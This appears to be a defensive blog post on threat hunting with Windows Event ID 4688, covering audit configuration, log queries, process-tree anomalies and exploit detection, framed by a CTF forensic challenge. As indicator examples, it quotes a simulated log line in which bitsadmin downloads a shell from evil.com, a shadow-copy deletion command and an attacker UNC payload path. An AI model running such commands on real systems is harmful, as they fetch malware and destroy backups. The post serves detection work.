WarnHack
WarnHack
Threat Hunting with Windows Event ID 4688: Lessons from Srdnlen CTF 2026
SIEM & Monitoring

Threat Hunting with Windows Event ID 4688: Lessons from Srdnlen CTF 2026

9 min read
1 views

Technical Observation: Deconstructing the Srdnlen CTF 2026 Initial Access

During the Srdnlen CTF 2026, I analyzed a forensic challenge involving a compromised Windows 10 workstation, similar to the scenarios we cover in our cybersecurity Academy. The adversary utilized a multistage execution chain starting from a malicious .LNK file. While traditional antivirus failed to trigger, the Windows Security Log recorded a sequence of Event ID 4688 entries that revealed the entire execution flow. I observed explorer.exe spawning cmd.exe, which subsequently invoked powershell.exe with a Base64 encoded payload.

This specific event ID remains the most critical telemetry source for process-level visibility in Windows environments. Without it, we lose the "who, what, and when" of process creation. In the Srdnlen scenario, the 4688 logs were the only evidence of the Invoke-Expression (IEX) call used to pull a second-stage downloader from a remote C2 server.


What is Microsoft Event Code 4688?

Windows Event ID 4688 is generated every time a new process starts. It resides within the Security log and provides a granular view of process execution. Unlike Event ID 4689, which logs process termination, 4688 captures the environment at the exact moment of birth. This includes the security context of the user, the full path of the executable, and, if configured, the exact command-line arguments used.

I frequently use 4688 to bridge the gap between user activity and system behavior. For instance, if a user opens a Word document that executes a macro, 4688 logs winword.exe as the creator process and the malicious script host as the new process. This parent-child relationship is fundamental to modern threat hunting.

The Role of Windows Security Event ID 4688 in System Auditing

In a hardened environment, auditing process creation is non-negotiable. We use it to verify that only authorized binaries are executing in sensitive zones like Domain Controllers or payment gateways. In the context of the DPDP Act 2023 in India, maintaining these logs is essential for demonstrating "reasonable security practices" during a data breach investigation.

If an attacker gains local administrator rights, they often attempt to disable logging. However, the act of clearing the security log itself generates Event ID 1102. By monitoring 4688 alongside 1102, we create a defensive layer that makes stealthy persistence significantly harder for the adversary.

Difference Between Event ID 4688 and Other Process Events

We often get asked why 4688 is preferred over Sysmon Event ID 1. While Sysmon provides file hashes (MD5/SHA256) and more detailed parent process info by default, Event ID 4688 is native. It requires no third-party drivers, making it more stable for high-availability production servers.

In legacy Indian infrastructure, particularly in the manufacturing sector where Windows Server 2012 R2 is still prevalent, deploying Sysmon can sometimes cause kernel instability. In these cases, 4688 is the primary telemetry source. It provides the TokenElevationType field, which tells us if the process was started with a full administrator token, a limited token, or a filtered token—a detail often missed by basic EDRs.


Analyzing the Windows Event ID 4688 Process Name Field

The NewProcessName field contains the full path to the executable being launched. I've observed attackers attempting to hide by naming their binaries svchost.exe or lsass.exe, but placing them in C:\Users\Public\ instead of C:\Windows\System32\.

A quick look at the 4688 log immediately flags this discrepancy. We look for binaries executing from writable directories like \AppData\Local\Temp\ or \Windows\Tasks\. These are high-fidelity indicators of staging activity.

Understanding Creator Process ID and Parent Process Name

The CreatorProcessId links the new process to its parent. However, 4688 does not natively include the "Parent Process Name" in older Windows versions. In modern builds (Windows 10/Server 2016+), Microsoft added the ParentProcessName field to the XML data of the event.

When I hunt for lateral movement, I look for wsmprovhost.exe (WinRM) or services.exe spawning cmd.exe. This usually indicates remote command execution. If the CreatorProcessId points to a process that has already terminated, it suggests a "de-parenting" technique used by advanced malware to break the process tree and evade detection.

The Importance of Command Line Process Auditing in Event Log ID 4688

By default, Windows does not log the command-line arguments. This is a massive blind spot. Without command-line auditing, we only see that powershell.exe was run. With it enabled, we see the full script block, including obfuscated commands.

I've seen Indian financial institutions lose visibility during ransomware attacks because they hadn't enabled the "Include command line in process creation events" GPO. They saw vssadmin.exe execute, but didn't see the delete shadows /all /quiet argument that preceded the encryption of their databases.


Locating 4688 Events in the Windows Security Log

To view these events manually, open eventvwr.msc, navigate to Windows Logs > Security, and filter for ID 4688. However, in a production environment with thousands of events per second, manual inspection is impossible. We use Get-WinEvent for rapid analysis.



Querying the last 10 process creation events with command line data

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} -MaxEvents 10 | Select-Object TimeCreated, @{N='Process'; E={$_.Properties[5].Value}}, @{N='CommandLine'; E={$_.Properties[8].Value}} | Format-Table -AutoSize

This command allows us to quickly pivot through logs on a local machine during an incident response engagement.

Enabling 'Audit Process Creation' via Group Policy (GPO)

To begin collecting 4688 events, we must configure the local or domain policy. Navigate to:

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > System Audit Policies - Local Group Policy Object > Detailed Tracking > Audit Process Creation.

Set this to "Success" and "Failure". But this is only half the battle. To see the command line, you must navigate to:

Computer Configuration > Administrative Templates > System > Audit Process Creation and enable "Include command line in process creation events".

Filtering Microsoft Event ID 4688 for Efficient Monitoring

Forwarding every 4688 event to a SIEM for log monitoring like Sentinel or Splunk is expensive. In India, where bandwidth and storage costs (in INR) are a significant factor for SMEs, we use Windows Event Forwarding (WEF) with XML filters to only send suspicious data.


This filter ensures we only ingest 4688 events where PowerShell is using common obfuscation or download flags, significantly reducing the noise.


Threat Hunting: Windows Event ID 4688 and Follina (CVE-2022-30190) Detection

The Follina vulnerability is a prime example of where 4688 shines. The exploit involves msdt.exe (Microsoft Support Diagnostic Tool) being called by a parent office application like winword.exe.

When I analyzed a Follina sample, the 4688 log showed msdt.exe spawning with a command line containing IT_BrowseForFile and a path to a malicious HTML file. This was followed by sdiagnhost.exe spawning cmd.exe. By monitoring for msdt.exe as a child of any Office process, we can create a high-fidelity alert.

Identifying Malicious Activity Through Parent-Child Process Relationships

Standard system behavior is predictable. userinit.exe spawns explorer.exe, which spawns applications the user clicks. Deviations from this pattern are where we find threats.

  • Suspicious: sqlservr.exe -> cmd.exe (Indicates SQL Injection leading to OS command execution).
  • Suspicious: w3wp.exe -> whoami.exe (Indicates a web shell being tested on an IIS server).
  • Suspicious: outlook.exe -> powershell.exe (Indicates a malicious attachment execution).

I use the following wevtutil command to hunt for these specific anomalies across the network:


wevtutil qe Security /q:"*[System[(EventID=4688)] and EventData[Data[@Name='ParentProcessName']='C:\Windows\System32\inetsrv\w3wp.exe']]" /f:text

Using Windows Event Code 4688 to Spot Lateral Movement

Lateral movement often involves the use of Psexec, WMI, or WinRM. These risks are significantly reduced when administrators utilize a zero-trust terminal to isolate management sessions. In the case of Psexec, the 4688 logs will show services.exe spawning Psexesvc.exe, which then spawns a command shell.

For WMI-based movement, we look for wmiprvse.exe spawning processes like powershell.exe or scrcons.exe. I observed a recent campaign targeting Indian government infrastructure where the attackers used wmic process call create to execute payloads. The 4688 logs captured the CommandLine field perfectly, revealing the encoded C2 address.


Optimizing Log Storage for High-Volume Security Events

Event ID 4688 is "chatty." A single workstation can generate thousands of these events daily. To manage this in an enterprise environment, I recommend a tiered logging strategy.

System Type Logging Strategy Retention Period
Domain Controllers Log all 4688 events with Command Line 180 Days (DPDP Compliance)
User Workstations Filter for LOLBAS binaries (cmd, powershell, certutil) 30 Days
DMZ Servers Log all 4688 events; stream to SIEM in real-time 365 Days

This approach balances the need for forensic visibility with the practical constraints of storage costs and SIEM licensing fees.

Integrating Microsoft Event Code 4688 with SIEM and EDR Solutions

Most modern SIEMs have built-in parsers for 4688. However, the value comes from correlation. I integrate 4688 data with network logs. If I see a 4688 event for curl.exe or certutil.exe -urlcache, I immediately correlate it with firewall logs to see where that file was downloaded from.

In the Indian context, CERT-In often releases IOCs (Indicators of Compromise) involving specific file names or command-line patterns. By having 4688 data structured in a SIEM, we can run retrospective searches against these IOCs across the entire fleet in seconds.

Reducing Noise: Which Process Creations to Ignore

To keep our SOC analysts from burning out, we must filter out the noise. There are several "noisy" processes that are almost always benign.

  • C:\Windows\System32\conhost.exe - Spawned frequently with console applications.
  • C:\Windows\System32\SearchFilterHost.exe - Part of Windows Search indexing.
  • Software update agents (e.g., GoogleUpdate.exe) - These should be baselined and excluded if they run from verified paths.

I use a whitelist approach for these specific paths, but only if the parent process is also verified. For example, conhost.exe is ignored only if its parent is cmd.exe or powershell.exe.


Advanced Hunting: Detecting CVE-2024-21412 via 4688

CVE-2024-21412 is a security feature bypass in Windows Internet Shortcut files. Attackers use this to execute arbitrary code by tricking the system into treating a remote file as local.

In my testing, the 4688 log for this exploit shows explorer.exe spawning cmd.exe or powershell.exe with a UNC path (e.g., \\attacker-ip\share\payload.exe) in the command line. This is a massive red flag. Standard user activity rarely involves executing binaries directly from a remote SMB share via a shortcut.

The MSMQ Remote Code Execution (CVE-2023-35349) Pattern

When MSMQ is exploited, the mqsvc.exe process becomes the parent of the attacker's shell. I monitored this in a lab environment and observed the following 4688 sequence:



Terminal Output Simulation

$ wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /c:1 /rd:true

Event[0]: Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2024-05-20T14:22:11.000Z Event ID: 4688 Task: Process Creation Level: Information Description: New Process Name: C:\Windows\System32\bitsadmin.exe CommandLine: bitsadmin /transfer myJob http://evil.com/shell.exe C:\temp\shell.exe Creator Process ID: 0x4d2 (mqsvc.exe) Token Elevation Type: TokenElevationTypeFull (1)

The fact that mqsvc.exe (a messaging service) is invoking bitsadmin.exe is a 100% confidence indicator of compromise.

Implementing the "Process Command Line" Registry Key via CLI

If you don't want to use the GPO GUI, you can enable command-line auditing via the registry. This is useful for automated hardening scripts or during incident response on a standalone machine.


reg add "hklm\software\microsoft\windows\currentversion\policies\system\audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

After running this, you must restart the "Event Log" service or reboot the machine for the changes to take effect and for the CommandLine field to start appearing in your 4688 events.


Conclusion: The Forensic Value of 4688

While Event ID 4688 is a legacy component of the Windows auditing system, its relevance has only increased with the rise of LOLBAS and fileless malware. However, defenders must also focus on application-layer risks by hardening session security against modern bypass attacks. By carefully configuring GPOs to include command-line data and using WEF to filter for high-risk patterns, we create a robust detection framework that is both cost-effective and technically deep.

In the Srdnlen CTF 2026, it was the 4688 logs that allowed us to reconstruct the timeline of the mshta.exe execution. In the real world, these logs provide the evidence needed to satisfy regulatory requirements and, more importantly, to stop an intrusion before it escalates into a full-scale ransomware event.



Next Command: Monitor for any process spawned by 'mshta.exe'

wevtutil qe Security /q:"*[System[(EventID=4688)] and EventData[Data[@Name='ParentProcessName']='C:\Windows\System32\mshta.exe']]" /f:text

Early Access Open

Protect Your Linux Servers

Real-time intrusion detection, automated response, and centralized logs — built for small teams.

12 IDS rules + automated IPS
File integrity monitoring
Real-time threat detection
30-second install
Early Access

Stay Ahead of Threats

Get the latest cybersecurity insights, tutorials, and threat intelligence delivered to your inbox.

Enjoyed this article?

Continue Reading

More Insights from WarnHack

View All Posts